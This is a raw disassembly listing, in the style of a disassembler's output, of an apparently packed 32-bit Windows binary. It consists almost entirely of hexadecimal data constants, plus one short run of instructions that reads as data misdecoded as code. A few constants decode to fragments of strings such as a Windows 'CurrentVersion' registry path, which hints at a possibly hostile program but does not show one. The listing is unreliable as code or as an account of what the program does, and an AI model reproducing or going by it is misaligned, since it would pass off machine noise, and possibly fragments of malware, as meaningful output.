2F02E2C6h, 0CDB9D34Dh, 972E0AF4h, 4C3C2403h dd 34D34D34h, 8A7C6A5Ch, 4D34DB9Ah, 0CEC0AAD3h, 0BF2EF2E6h dd 3BA77659h, 3108724h, 0A6E42BF4h, 0D4A69A69h, 0ACB6C0CAh dd 9A6D60BAh, 2B9098A2h, 66B27FD7h, 3E9B67Bh, 132F8A96h dd 88033078h, 0D217FFFFh, 53813066h, 5754464Fh, 5C455241h dd 7263694Dh, 666F736Fh, 0FFFFFFE5h, 69575C74h, 776F646Eh dd 75435C73h, 6E657272h, 72655674h, 6E6F6973h, 7F68535Ch dd 6CDB6FFBh, 28760C53h, 6A624F65h, 44746365h, 4C796110h dd 6E64616Fh, 477015ADh, 39082B39h, 0FF3F4D67h, 6C2006A5h dd 617041DBh, 656D7472h, 6E495C6Eh, 35EDFFAh, 23B6353h dd 43003233h, 4449534Ch, 7ED9235Ch, 7B00BBE7h, 58383025h dd 5D34042Dh, 361DBFAh, 0EC83237Dh, 0E89090FCh, 0F75706F0h dd 0BAFBBDEh, 45375906h, 73746978h, 46DE827Ch, 694CFB60h dd 79717262h, 6E686B3Bh, 6ED76C65h, 0B5DF67BFh, 791B545Fh dd 0F60FD557h, 65DBFB7Dh, 677562B5h, 0C7697250h, 6567656Ch dd 50305C23h, 2E1ED778h, 580F2B64h, 114F4C50h, 0D5B7376Fh dd 72727033h, 6261C521h, 6673642Bh, 360DEC6Fh, 2E126F62h dd 5CBB7973h, 35A0DD03h, 214964B8h, 723A5D5Ch, 0B10B7F64h dd 74511A8Fh, 0EC1F335Fh, 704F5F5Ch, 57B21865h, 78566EFEh dd 6E614844h, 0AC006E70h, 4D37FFB5h, 59542D2Dh, 4751574Bh dd 0A4A4846h, 0ED61130Eh, 45411FF9h, 53415942h, 25464C48h dd 967025Bh, 2020EF7Bh, 23120503h, 0EF7BEE30h, 3A0F32B0h dd 3315040Bh, 0FC83601Eh, 4557677Fh, 464B574Ah, 4145574Ah dd 9A13BBABh, 49444EFEh, 3445253h, 0FF971Ah, 0CB901FA2h dd 0A60B6ECBh, 218D0F1Fh, 0BCB92191h, 232319A4h, 25352531h dd 0D97FD36Dh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 57740150h push 24h dec ch imul ch adc eax, 8D1E112Ch inc ebp lock push eax or [eax], ebp movzx eax, word ptr [ebp-6] push eax mov esi, ds:74F3CF20h iret ; --------------------------------------------------------------------------- dw 0FC0Ah dd 0F8FE0450h, 9B66F4F6h, 8D50F7FBh, 755B7885h, 26C068F0h dd 0CD10D638h, 17ECBB36h, 0B468FEB0h, 6A0C4F14h, 0FB7F1DB7h dd 0F7599904h, 83DC5FF9h, 505205C2h, 5DD60C2Ah, 0BDCC1034h dd 0C4832F73h, 50271538h, 8129B068h, 7776DB3Bh, 0A0BF8F5Bh dd 28575080h, 14220F12h, 47736E52h, 3015A406h, 33087637h dd 66E6B07Dh, 2C310B17h, 9868096Ah, 0ECE761D8h, 458830C9h dd 0FDDB9F28h, 9372F66h, 23406879h, 866E0268h, 6C986E77h dd 5E5F1260h, 0EF22C3C9h, 0E11BEF0Ah, 1D8B5318h, 336726A9h dd 0FC7D89FFh, 0FCFF0AEFh, 0C083D3FFh, 2C895010h, 8BDC1C31h dd 0F73B59F0h, 0DB23840Fh, 4937BAEFh, 0E4680A6Ah, 1D17563Ah dd 8D056A02h, 0B7F00F46h, 817B16DFh, 0B418590Fh, 467640D3h dd 0FED6C0Fh, 0C150973h, 12206857h, 0FB147524h, 3BDED93Fh dd 90E75C7h, 26A0418h, 4D8D23EBh, 37F351F8h, 1CB3DB13h dd 2A2BF811h, 1050215Eh, 3B6EEDC2h, 3FA0882h, 0A13E958h dd 77FB6284h, 68F7DDh, 2E578330h, 0D88B1F4Ch, 7D74DF3Bh dd 0D95C1468h, 481BB73Ah, 0A046810h, 440EF4B7h, 0BFBB6F60h dd 0F88BF66Ah, 58F86858h, 0F45AC32Bh, 8D16F803h, 0F1F4BFC2h dd 2BC87E89h, 89C103CBh, 22210B46h, 0DB86E7Eh, 0B05356E1h dd 0E8104023h, 6FEEF633h, 43C2DFECh, 5350560Fh, 3C165656h dd 974C68Ch, 8D17EE77h, 10EB389Bh, 0EB0431C7h, 0DF350807h dd 250699ECh, 8B07111Ah, 0A1611B7Dh, 615B6006h, 60574651h dd 0DF8E310Fh, 0FC96BB66h, 0F542461h, 0B4A31CAFh, 0FFFFDE0Eh dd 7A12175h, 247621B9h, 0FBC06935h, 2B7F7C7Bh, 126851C8h dd 0D998EDC2h, 0F71D582Bh, 2474BFD0h, 0DCF6FB2Dh, 5CC701C7h dd 0CA75615h, 0BCC03350h, 0A1DD3306h, 609A6B0Ch, 3B6C5DA1h dd 56D9131Ah, 1A206AD9h, 8DB43864h, 0F0DE089Dh, 3816ECA2h dd 19D866B7h, 0C3522E30h, 1B6B02F8h, 10C7DBDAh, 6A13010Eh dd 0B3D53710h, 0FCAD99E9h, 4BC61014h, 73A70228h, 0D8780DCDh dd 514104FDh, 799D237Ch, 0E015117Ah, 0B5E07813h, 0CF1F9259h dd 54111244h, 0D372E9DBh, 0F08B740Eh, 902F7483h, 64D9E803h dd 5678325Bh, 351270A0h, 5721199Dh, 5E681B6Ch, 86EF8D1Fh dd 33537D89h, 405357DBh, 0BDEE9064h, 83E70B6Fh, 566C745Bh dd 6AA218BEh, 8C6667BFh, 0F087F53h, 5015B589h, 0D2D3EC57h dd 0C0858A3Fh, 849F3674h, 9939D667h, 766CE6E1h, 20261374h dd 0E3EB1584h, 359BE171h, 5BFC145Bh, 6157D989h, 3FB067FCh dd 5FC38B5Eh, 8B048D5Bh, 5756085Dh, 0BEB7FE53h, 66590EFDh dd 76C88B3Dh, 80D1443Fh, 745C1A3Ch, 6DC1810Dh, 1FAF6FFFh dd 0EC77C915h, 664101EBh, 2373C83Bh, 17FFC91Bh, 0F002B4BEh dd 78F12B6Dh, 148DC517h, 148A4708h, 594881Ah, 7B637661h dd 6DC7186Dh, 2F7AEB7Eh, 0A618B7C6h, 5C644C90h, 9D560C24h dd 0FFDDB7AFh, 247C8B57h, 7EDB8510h, 0AB0A6E19h, 1A6AC02Eh dd 0FEE6787Dh, 61C280FFh, 463E1488h, 0E77CF33Bh, 1F2480h dd 2109F32h, 0FFF8EC2Ch, 4D8B0C8Fh, 89564808h, 7550BC0Dh dd 7BF0C677h, 51930B23h, 6FF898A1h, 0B64F8453h, 1BDA0BB0h dd 4C711FCh, 1C75C24h, 0D676F67Bh, 7559D759h, 5468152Eh dd 7ECBF013h, 3B4E1AB3h, 80B2709h, 610CEB04h, 0F1BDAFE1h dd 29193C68h, 5959E0A9h, 0F7C35850h, 0C2702795h, 3189B0Ch dd 63728917h, 1FB3DB3h, 26129468h, 0A88F59D1h, 0BD95B73Dh dd 0FE934F85h, 5D940E01h, 0C9C9ADBFh, 575D9C64h, 9DF8F07Bh dd 0BB6D937Ch, 6880A530h, 4EB1E19Fh, 0A359CDB4h, 0A43F00C0h dd 5F5F7BACh, 353C7C31h, 0C702412h, 5B36E96h, 64BFA045h dd 786657E5h, 0B755A05Ah, 9C26136Dh, 0FDB93D9Bh, 0E6EBEB05h dd 680CFCE8h, 0C7580A34h, 1677166Ch, 33756A7Bh, 17E15D27h dd 4F7E35Fh, 9FD8CDE8h, 0F18B76E6h, 9CFC18A2h, 135006C7h dd 998C6541h, 6A1A1DE3h, 514C019h, 108D66B6h, 20B71026h dd 816E741Fh, 57126D57h, 9B0C302h, 611EB56Fh, 7518C8D7h dd 0C059350Bh, 7E89FF2Dh, 571CEB14h, 47095757h, 0B799BEACh dd 7414463Eh, 1204699h, 0C68B1C16h, 0D77F685Fh, 83568DC6h dd 0F6420F62h, 1082444h, 0DB66D820h, 5920D611h, 0A21B5E1Dh dd 59BB6F3Dh, 5C8BEAFBh, 374689Dh, 768BD774h, 0ED95A3DBh dd 9F68514h, 2A614656h, 0F6FB7F75h, 3BDF1CB7h, 8D0375F0h dd 18515B71h, 2527FA83h, 75204539h, 0B035B206h, 4C183FDh dd 0D003EB51h, 2184720h, 74B3F514h, 52AF10D6h, 0C25DB445h dd 55EB61Ch, 0C4B870D8h, 10E41A7Ah, 0FF42BEE5h, 0C4681804h dd 6A9A7A20h, 0D8C84789h, 6A00E4CEh, 0C8CC1808h, 202BD8D8h dd 351016C4h, 3211D94Ch, 8D18D4D0h, 2C1A05B0h, 1B69140Bh dd 7C1D19D8h, 0A045148Eh, 5E530800h, 0CC170A56h, 61605E12h dd 0BB8FC4Dh, 0AC60466h, 0ABC04094h, 0EDC0B383h, 1170BDDDh dd 8B057502h, 0CB3CEBEAh, 87CD0612h, 10AFBCC1h, 8A53A468h dd 6276FC1Ah, 31EB7603h, 5D0C7D39h, 1E05D2BAh, 0EB17D019h dd 0B81EE002h, 0F6DD6B5Bh, 575F30h, 91AE718Dh, 4AC57EDCh dd 94218934h, 0AE08C20Eh, 98F1386Dh, 570880BFh, 0DB098E78h dd 5E8BEF12h, 0F0C33108h, 0C3FDF402h, 49205C74h, 0C82C1474h dd 659BA1C7h, 0C4660DA2h, 68DD4A7Ah, 6D46E25Ch, 0CEFE84Dh dd 0FFBA4F51h, 26F13563h, 1BD8F7FCh, 0FC2456C0h, 5071E405h dd 0C5D4839Bh, 9518A86Fh, 6AC503E5h, 0B191B7B3h, 3BC445FFh dd 0C0940F75h, 68FB693h, 3EF9D91Fh, 8BCC264Ah, 17DE35B1h dd 8959104Dh, 0A6910606h, 86F977CFh, 40883B9h, 10E048Ah dd 270C4601h, 6D78FB5Dh, 0D518E710h, 4244C77Ah, 398D9D53h dd 6AD94376h, 465945F6h, 43620657h, 6CB3EB2h, 6DF6AA3Dh dd 4CB46C2Bh, 630CC9B5h, 565F0189h, 0DC62144Bh, 8B4C5B5Dh dd 55A42041h, 4CDED6B4h, 6856E131h, 0A4CF3Fh, 6616475Dh dd 74141588h, 6CEB6705h, 278CDC33h, 1DA9AAA6h, 1B633200h dd 5E68039Ch, 6DB8040Fh, 6020612Fh, 73B60F66h, 648AFB05h dd 97785EBBh, 61C10B98h, 13586812h, 0C228D052h, 642E21FBh dd 896408A1h, 0CEA30725h, 2CDDC6C7h, 0E86589D2h, 240C29A5h dd 0D757F427h, 0BBBB07Bh, 6850C303h, 76CC0AF8h, 14E4B40Bh dd 2E0F4040h, 16D170E1h, 3861E0B9h, 522B34AFh, 0FBF192A9h dd 6990B36Bh, 0DC1AFA9Bh, 930D9B94h, 90A15385h, 4F949343h dd 0F8B6EB5Bh, 392FE416h, 0F7DB0842h, 2DC0BF45h, 5B3BC8DAh dd 1E7C807Ch, 0C6057320h, 0E25A6D44h, 402E066Fh, 76FFE9EBh dd 7575461Fh, 6E1BC3E0h, 381AE08h, 616480E0h, 5BAB1B9h dd 0D450CC31h, 0DDA60C04h, 5FA246A6h, 0DA1E081Dh, 3CD80450h dd 0D63CF3CFh, 0D2CECCD4h, 0D979E79Eh, 46B60A46h, 4050607h dd 0F9EF9E6Ah, 4030818h, 0B6060102h, 71602353h, 8592156Ah dd 13034058h, 0C95790E8h, 723EC498h, 9A8598BFh, 0AE2350C4h dd 6F683F50h, 0D00ADC6Bh, 50420821h, 3E378659h, 83D91162h dd 0EEBFFC4h, 0BE1696D2h, 758BC3C2h, 85598B0Ch, 0D3D907F1h dd 1CBEFA37h, 0E07D83CFh, 0EE07000h, 841A4616h, 0F072CC96h dd 70F20DB4h, 0FBCE718Ah, 0F0F468D8h, 833811C9h, 0F6ABFFC8h dd 0A17C2CCDh, 0C55C09Fh, 7992D63Bh, 2E9EA50Dh, 0E677FCB4h dd 0F286E41Dh, 4BFFFF7Ah, 8B135EBBh, 3BDCA6CEh, 8A2973CAh dd 45883904h, 72303CC0h dd 73393C09h, 778F4D1Dh, 6AC0F87Dh, 0B84B0A0Dh, 0E4797F74h dd 0EBD8F18Bh, 0D0EB4106h, 850F390Fh, 1FEDBC28h, 0F64A8DBDh dd 1548F13Bh, 0FFFD735Ch, 88D1DFh, 3B144E8Dh, 3B2A7DC1h dd 8A2673C2h, 4D88380Ch, 2DF980BCh, 53B6B19Ah, 5954040Ah dd 0DBDB77C9h, 3075DB37h, 83040925h, 1000D465h, 0A0D44D39h dd 0DED966AFh, 568DBF76h, 1F75C23Bh, 0E8B8388Ah, 0C9A78D8h dd 0A4190508h, 0CC36C143h, 0ADF8D6D8h, 81802ED4h, 62D0F651h dd 0B02113Ch, 770CD08Dh, 20FD877h, 503E048Dh, 440E021Bh dd 9E0F023Eh, 0D0498C63h, 1180D346h, 0D00AD85Ch, 0C40B1208h dd 0B704C883h, 0C24AEE37h, 0A7F3205h, 57C01C4h, 5D7E0C04h dd 0A0623789h, 31043EA1h, 0D405066Eh, 30E6EC5Ah, 31060775h dd 32C1874h, 0AD1B0B30h, 46D70997h, 4A10D868h, 1418BB6Dh dd 76E00A92h, 0A10B84EAh, 0C3C58830h, 239098C3h, 0DB5878E4h dd 6919679Ch, 0B3D35DC5h, 80FDB05Dh, 2E9EBF3Ch, 4F048B66h dd 10F2A02Fh, 7C35B97Eh, 3A097F0Dh, 3BC475E3h, 21C972C3h dd 505BCB53h, 5335BB61h, 0C572A2Eh, 0C59C6247h, 0B2BF087Eh dd 0EB590E7Ch, 0CB3BC975h, 0B0D33275h, 5D974C2Ch, 4DEFC65Dh dd 3DBF74B3h, 47912475h, 640C1098h, 0CB3043B1h, 6F33949Dh dd 0BBC3E9C2h, 4C5306CBh, 66900BBEh, 0CACC8419h, 0F2C47704h dd 465C25Fh, 83DA0477h, 535330C4h, 74C0A6Ah, 0CACD6DFh dd 0AB5325FFh, 46497A20h, 0CCB815CEh, 1BD9AF27h, 0A8E4AAD9h dd 37D90C1Eh, 0A48D9190h, 0A3A8A800h, 0F1A36FF3h, 857C8366h dd 0A071000h, 4B087530h, 0CEC3C30h, 0F75BE31h, 0C847FF9Eh dd 5216C811h, 94AE6088h, 0B7FA2603h, 0FD4B466Eh, 12ECEB5Ch dd 0C33DC862h, 8B7D6857h, 177E80C5h, 6D423A06h, 6D866DCEh dd 1A1CA519h, 0C11E05F5h, 6CD26329h, 0D00C2293h, 6FABE824h dd 365EFE0Dh, 3003F32Bh, 0EED1B89Bh, 0AFC11656h, 0E16F06Dh dd 0A0DFFC6h, 72B54A14h, 202A2AB4h, 0B337096Fh, 3722A850h dd 740BF090h, 0D1BF6E11h, 990F3928h, 0F8D1C22Bh, 0B1027E0Eh dd 23EB6356h, 2C0D33F9h, 0CB7615ABh, 0D10F6FD1h, 70818DF9h dd 57E275Fh, 0A17FB766h, 16EBACE9h, 279FEACh, 73B87D3Bh dd 2BB8F841h, 1342F62Dh, 4AD90ECh, 7267501Fh, 0DBC4B62Dh dd 9015F703h, 0C7D8E8D1h, 36DB1955h, 5543A3F3h, 470B0E16h dd 0DF647D6Fh, 0F07FFF1Eh, 67CF73Bh, 0EB017E8Dh, 0C7814FBAh dd 3BA6E2A4h, 1E0473FEh, 8BD5B6FCh, 5F4EACF7h, 752B00FCh dd 0A17622ACh, 24A30C90h, 4078900h, 0FB5CD9A6h, 44789A4h dd 807F9F5h, 8512B4C8h, 0A7A9CB52h, 3721C098h, 47322B1Ah dd 10B11010h, 448E95BAh, 27A1A5C7h, 82AA32D5h, 6E401D45h dd 60943618h, 6897573Ch, 192BB548h, 0B8A05B76h, 9C980E15h dd 518E0C9Eh, 3E9193E9h, 5DCE35C7h, 142A2EE0h, 110B741Eh dd 0F86A6E46h, 4850B5Bh, 8C8B5A9Ah, 532084B8h, 1F77B9CAh dd 24D7715Bh, 0E85589DCh, 0BD3C8D1Ah, 0AD7E1704h, 2B43C969h dd 28DA007h, 9F1B10A4h, 608501D4h, 0BB0300F5h, 358605FEh dd 0B86857E0h, 731345F9h, 0ECC3085h, 3E4816B8h, 18DB5989h dd 853913ECh, 41AFA262h, 0EA01A3A4h, 696BE0ACh, 646F7F72h dd 5D0734FFh, 0C540BB4Eh, 9B82A012h, 314A95CDh, 27106897h dd 0CE84EC50h, 0DE98C439h, 7211830Ch, 3D8BA5EEh, 0B912FE7Ah dd 0C5A8DBA0h, 17CC052h, 0FB7B1BACh, 397517DBh, 37EBE518h dd 1C8DE00Bh, 5C6C51D0h, 319B0F6h, 2001BE11h, 0DBFD7B0Fh dd 6282BB1h, 1ABD6F1Bh, 0FFCC3815h, 0F9A3C4B5h, 0D04DCD99h dd 0E1863CCh, 0DDDBB8Ch, 0EB711E0Bh, 1B30CB84h, 90D868D3h dd 0B8B9EC9Dh, 4F996975h, 2610984Bh, 53530613h, 4C244F80h dd 91EB4E40h, 4B7646Ah, 0EB5F4713h, 0C6439C87h, 0B86C2008h dd 0BAE88C0Dh, 4263C7ABh, 2F5D346Ah, 0C70C11D7h, 59F460C6h dd 0C87DAF63h, 500460B2h, 1223F0B8h, 1911EC09h, 0C861548Ch dd 59C80BEEh, 8351C783h, 0C07CC84Dh, 78EBF160h, 5F1C2857h dd 0F08EC604h, 0B1B6B5Ah, 330E8BACh, 99DAB74Ch, 3976D098h dd 0A6C8B521h, 0CFB83351h, 893E8924h, 20FCBBA2h, 7DB88444h dd 0AF642552h, 7E97D684h, 8C68347h, 0CF72F0C2h, 400A75Eh dd 78D81DCCh, 74C4C75Fh, 75328D5h, 350CBFAEh, 0F474CD1h dd 6A9F1128h, 8B67E866h, 0FF2C1113h, 5480825h, 0C8C8E791h dd 10F80004h, 9AC16CF4h, 0CCECF091h, 27E81900h, 0E08C8CECh dd 3D5100DCh, 7D1BF6F3h, 8F58D76h, 0E9811472h, 2D662D87h dd 0EC7F6F16h, 73170185h, 8BC82BECh, 0E18B0CC4h, 48C8F18Bh dd 3140C1B7h, 88804FC3h, 0C8869F8Ch, 0B8E9998Ch, 6F602960h dd 1D77C9C9h, 88C8133Ah, 0F7284A00h, 930520F4h, 1680E119h dd 3DCC397Eh, 1B34F7D0h, 5085A827h, 1B48206Fh, 97972EDFh dd 32132B0Dh, 7410DC2Ch, 0CB35802Ah, 1C2F7C4Bh, 203A276Ch dd 2FD6E5CBh, 58581114h, 765CDA30h, 2B805FACh, 11289813h dd 8C2089E8h, 7202A657h, 0B5BFE59Fh, 29709E6h, 636D656Dh dd 73997970h, 0FCB3B965h, 2BE7497h, 6C727473h, 2C56E65h dd 0CFDD3BC3h, 6163096Bh, 0A631BA1Dh, 7FB76CD3h, 40333F3Fh dd 50584159h, 0F5A4002h, 37FD320Fh, 490E3AF8h, 65AACA0Fh dd 70656378h, 0DD685F74h, 5243D16Eh, 23DC172h, 0B3696F43h dd 1BB2FDADh, 78435F49h, 75854678h, 0A3781D48h, 13AF0ADEh dd 825F4845h, 42676F6Ch, 310B41BDh, 545243D0h, 0B67D9C7Bh dd 4E49573Dh, 8F0C4501h, 418A6C03h, 33DEE0B6h, 0BAA0B79h dword_4439A4 dd 0A8374324h db 76h, 42h, 0B5h byte_4439AB db 0BFh ; DATA XREF: sub_44A577+3o dd 600D60BDh, 74DEDB54h, 0D3526574h, 0BA81056Fh, 7FFDB6B7h dd 69725703h, 9662500Eh, 1B4D7373h, 0D7FB9B72h, 189C7EEh db 47h dword_4439D5 dd 644113F6h db 64h, 72h, 17h dd 0D82E6711h db 0A5h dword_4439E1 dd 6C75213Ah dword_4439E5 dd 0D8095F4Fh db 0DAh, 0FFh, 56h dd 72695603h, 6C617574h, 452A8441h, 1CC10A84h, 31026175h dd 9BB5354Ch, 5433FFEAh, 436B6369h, 74E756Fh, 0B6064902h dd 0D5AEED86h, 64656B2Bh, 6703632Eh, 4AEB5797h, 754D41C0h dd 0F655550h, 364DEA93h, 0D1452FA1h, 61FDFEDAh, 5F038859h dd 0DB636Ch, 1D5302F5h, 6DBC8046h, 6D6710A5h, 47014F0Dh dd 0DD70E09Eh, 8F6F258Bh, 7970210Bh, 6BF6B6D5h, 795323A6h dd 0BE44EB0Fh, 5AE6EC1Eh, 7316F10Ch, 32335B02h db 4Eh, 0B6h dword_443A76 dd 0D7026B2Bh dw 7530h dd 0C8718C49h, 25CB68E6h, 68AD0665h, 70AA96DFh, 70B0A36Fh dd 616E5318h, 0DD6B6170h, 1B6F2846h, 627F43D5h, 0DB784B1Eh dd 65414482h, 4645DB6Dh, 0A57C33BBh, 2915EA4Eh, 140B5303h dd 0EC16D837h, 1A2FDA00h, 2FD2306Eh, 0AACD86F9h, 5AC3ACD5h dd 0F2DAD6C8h, 0A045614Ch, 0F7468511h, 453B9D66h, 4A1FAE76h dd 0B460640Fh, 7F7AAEC2h, 0FB654400h, 1E886F49h, 76D6D567h dd 31E5004Ch, 79651Fh, 0D5613780h, 0C887022Eh, 868D965Dh dd 92453C13h, 46612365h, 0D8016004h, 6C255368h, 0D4CF7542h dd 2A900F8h, 0EB721C49h, 6C735B2Dh, 0A7043ADh, 0C2694C43h dd 86C9BD53h, 5F3D2173h, 8C28876h, 79D5284Bh, 36BBF19Fh dd 501C68F4h, 7D18FFh, 532EDB45h, 694508F6h, 685C6469h dd 8DB76A9Fh, 6C276742h, 26794214h, 0D1CE6ECAh, 27284F55h dd 30787A69h db 3, 9 dword_443B72 dd 459B5563h dw 0B00Fh dd 0F8DFE96Ah, 52454B00h, 0BC74C3Ch, 0D870A95Dh, 82635D02h dd 187B7166h, 80258CC2h, 0C371D6FCh, 61789E9h, 0D0726765h dd 36ED2564h, 0E3007C3Bh, 3F0CAF00h, 0B65A5355h, 5761E176h dd 6AF9001Ch, 6BB3EE75h, 9C009DB0h, 7D73B714h, 0C936C301h dd 75126FADh, 75965670h, 1621EA7h, 3D01A869h, 0F0528B34h dd 20D48E16h, 0A9654BC6h, 36440DF8h, 3034CC43h, 0D8CC1F9Ah dd 0EC3BDFD6h, 44411220h, 83496F56h, 6179424Bh, 556F4325h dd 856C1127h, 300F6667h, 0F547547h, 36B0D39h, 6F1F49D6h dd 60AE3C91h, 0CE008451h, 50DFD6FFh, 335C333Fh, 336C3360h dd 80337C3Ah, 90338C33h, 0FF06FFFFh, 0B933AF33h, 0EB33C433h dd 3409341Bh, 34313422h, 345A3453h, 34843479h, 0FFFFFFFFh dd 34BB34A8h, 34F634CCh, 352B3506h, 353B3531h, 355D354Eh dd 3588357Dh, 3593358Eh, 35A7359Dh, 0FFFFFFFFh, 35D335B4h dd 35F535EAh, 36353610h, 36483640h, 3661365Bh, 36773666h dd 36973690h, 36B236ABh, 0FFFFFFFFh, 36D136C2h, 370436E6h dd 37233718h, 3739372Ah, 37683753h, 37C2376Fh, 37F937F2h dd 38B73869h, 0FFFFFF56h, 38DE38CCh, 38FF38EBh, 39503929h dd 3980395Ch, 399A3994h, 39B839A5h, 0FFFFFFA5h, 0CB39C5FFh dd 0D839D239h, 0E539E039h, 0D39F839h, 4F3A483Ah, 923A843Ah dd 0E43AA53Ah, 3F3AED3Ah, 0F16FFFFFh, 273C123Bh, 3C383C0Eh dd 3C5E3C3Fh, 3CB13CA3h, 3CF23CBEh, 3DC73D04h, 0FFFFFFFFh dd 3DF53DE5h, 3E183E13h, 3E3A3E34h, 3E7F3E79h, 3EE93E98h dd 3F573F50h, 3F6B3F64h, 3F863F7Bh, 0FFC34A3Fh, 3FCB3F98h dd 3FEC3FD1h, 200F3FF1h, 0FE302A73h, 0B0FFFFFFh, 0A31B531h dd 2A332033h, 0B0333733h, 5333B533h, 15356635h, 33362C36h dd 57364A36h, 0FFFFDC36h, 0ECC3EFFFh, 0B4375836h, 0F437C837h dd 3637FA37h, 47384038h, 87385938h, 0A0389938h, 0FF38A638h dd 0ACFFFBBFh, 0B838B238h, 0C438BE38h, 0D838D238h, 283922D1h dd 3D392E39h, 68395139h, 4398439h, 90E35840h, 0F0AC39h dd 8A128192h, 65F7D0FFh, 0F75ABFFh, 6E3149D0h, 0BF031ABEh dd 0DD07151Ah, 687CDF37h, 361AAD4Dh, 1AB44D37h, 0B868F63Fh dd 5227301Ah, 0E714644Fh, 7686369h, 35F70005h, 7CE4B9B5h dd 40014072h, 0EB079F31h, 139ABE02h, 2C31A097h, 0D8C80B0Dh dd 3F601E9h, 0C5192704h, 3BA0F27Bh, 725FECAh, 538A31DBh dd 603A307Ch, 0C2689F34h, 492BDCEh, 4F2338E0h, 28A70330h dd 1CC840BCh, 7676A983h, 5407A32Ah, 7602B29h, 628C2DA2h dd 2B3B9207h, 61525E64h, 0FBE76174h, 43530780h, 0C8073146h dd 0DD65B2D8h, 7AF5458h, 4F072C23h, 1D0A8DB3h, 0D19F2EE2h dd 0A323EB00h, 80F37D98h, 0E13B5707h, 0B27F1460h, 7C00302h dd 314651EDh, 332E27Fh, 0CB36CEEBh, 0F618330Ah, 0BC01332h dd 69A603AAh, 0DE94A69Ah db 60h dword_443EA1 dd 0B2C8384Ah db 0EBh, 9Ah, 0FAh dd 8B267F10h, 0D344337Ah, 0C6375D34h, 9603B23Bh, 0D3656A7Eh dd 3E5E4D34h, 31FE162Eh, 9A69A69Ah, 0A6B8D0E6h, 30E3748Ch dd 315C6D96h, 27025B93h, 0A40414DFh, 5351264Ah, 2EFFC983h dd 0F954BF72h, 0BB5051C1h, 0B75F2020h, 0FC821FEAh, 8B2856C5h dd 0B9C5FC7Dh, 8297D488h, 0C0332E77h, 8B5DABF3h, 3D032835h dd 0A06E89B7h, 8845E488h, 8C1405E8h, 8EE936Ch, 0D41DE40Eh dd 2321C8D8h, 0DCD4D887h, 0C8763278h, 0DC0EE0E0h, 92E4EC05h dd 0D6E123EFh, 0FFF4FC0Ah, 839EC1B9h, 4133CC0h, 0FC4EA6ACh dd 8239F633h, 75F772B7h, 144875F8h, 2205FC68h, 0D6646A38h dd 0C83DF7CCh, 221B22C4h, 3BEF1813h, 1634D933h, 1474141Ch dd 0F3870FFh, 82BAFB50h, 9FC8B16h, 0A214EA10h, 0CCBE7C00h dd 4BF8D8E0h, 86192EE1h, 105F7DCCh, 0CA8EB70Fh, 0AC763F01h dd 282A2170h, 7F1BE8Dh, 1274C73Bh, 0FFEEF6C8h, 8B04508Bh dd 0A895008h, 1B045189h, 0E8EB5E44h, 8FB7D41Dh, 8D3F723Dh dd 831FC458h, 192C603Dh, 6F417504h, 8D0CF15Bh, 2BA3C4Eh dd 4046880Bh, 0DB0FD8CDh, 1AD24CA1h, 40568AC9h, 0D9EBA01Dh dd 0BBB64023h, 76FFDC4Ah, 7E10E1EEh, 2E3407B6h, 4F47868Dh dd 8FB10C35h, 56011452h, 1AFF03DCh, 0E87A914h, 0F88B2ED1h dd 0B41FFF85h, 0A973F355h, 18678308h, 1C47C700h, 750DE101h dd 24060073h, 0E460D06h, 8FB28E8Dh, 89FBC74Fh, 258A2047h dd 7686889Eh, 67F6B7F7h, 4438B1Ah, 41F1F89h, 47B8938h dd 3618968Ah, 97B367DBh, 157505ACh, 760040D0h, 585EEC8Eh dd 0B6FF4D47h, 7EB0BC4h, 1C365876h, 50A5361Bh, 803D0785h dd 3C2F34E1h, 6951CD9Bh, 194F8B63h, 0C6018907h, 89DEC966h dd 60735A48h, 7B645EC2h, 0ABC7C06Eh, 8B6C4B2h, 0DD3399B0h dd 0D0BD02CDh, 579D835Ah, 1D8BB8B6h, 0AB84DF2h, 0C380112Bh dd 5906FB2Ah, 1EC01B2Bh, 0DF0BB9D3h, 5D8D30D0h, 7C83CC8Eh dd 0FD30824h, 12DFEE1h, 8B470C99h, 6B08A300h, 0B6C058A0h dd 0CCC9C2B1h, 170DD796h, 0B89A4B60h, 0DB79BBBFh, 8B7FE00Eh dd 3B80605Eh, 8B44750Eh, 538BF84Bh, 176D4DC2h, 0BF0B7F0h dd 81FF330Ch, 45D9E0F9h, 0D2C410F4h, 74F8ED9Bh, 74E40D41h dd 0FB5D8D39h, 0BB75FB52h, 51509A4Dh, 643E5077h, 0DBF5109h dd 0EA97E04Bh, 0D2322FD2h, 89187E89h, 8B301C46h, 0C4C22576h dd 0F044C78Bh, 0CD16F0D9h, 6030FF51h, 0CA74544Ch, 9F2D23EDh dd 0F685F06Bh, 0C60CDB58h, 63DB6446h, 46DDFBBFh, 4B3B8968h dd 3C850F04h, 0DF98315h, 1E33820Fh, 37DB37F4h, 0C255D81Ah dd 10CA3B0Ch, 0F87D8122h, 7FC1EA16h, 0C709759Fh, 73C61846h dd 5C23F666h, 1A8BE3D8h, 4E719F8Dh, 0C488D1Ch, 0DBE10605h dd 408B20F6h, 2455CBD7h, 4AEC5D89h, 0BFB16F87h, 8D928F46h dd 0F42BE487h, 78318906h, 89C2C8C6h, 0CB975670h, 5D8B13h dd 0F585B42h, 0C6481D43h, 20CD2CBAh, 46B746CDh, 2B685777h dd 0B910F9D5h, 85C1DBF7h, 35170B61h, 0C1DF431h, 0D0B2AACh dd 0E4B5748Ah, 0A1286E3Bh, 89DB80B5h, 0F0459C41h, 70444449h dd 89E08661h, 704EA6E6h, 0F1B27276h, 9BEC9706h, 609F2C56h dd 73C5F588h, 437389CBh, 8762CDEEh, 572278C6h, 0BE086126h dd 0DF169F08h, 0DB6205C5h, 0BB1424BDh, 778BC81Ch, 99CC3EDEh dd 0F17DCD93h, 20C390Ch, 0E1D3B810h, 751CEBB3h, 30BE805h dd 4AEB30A3h, 66CF6CE0h, 12DD56D8h, 0CCC9410Dh, 49204356h dd 163C6BAFh, 41005225h, 0D52035Dh, 732F9A49h, 5F1B00h dd 0C15B4E57h, 10240524h, 0A2DC08D1h, 7A50701Bh, 8A305E8Dh dd 0A1456653h, 0AFC45BBh, 3BFA0500h, 0BB5D9F3h, 1C0972B9h dd 0F20CF012h, 0F3E6CD0Eh, 0E87EF464h, 0EC1AEA18h, 5EC6FF8Eh dd 84D7F88Bh, 0AB2175C0h, 82140C45h, 0E859270Fh, 35033207h dd 3B236C23h, 8A564C36h, 0F6EA4841h, 0BB5B9103h, 0B02C211h dd 880C063Fh, 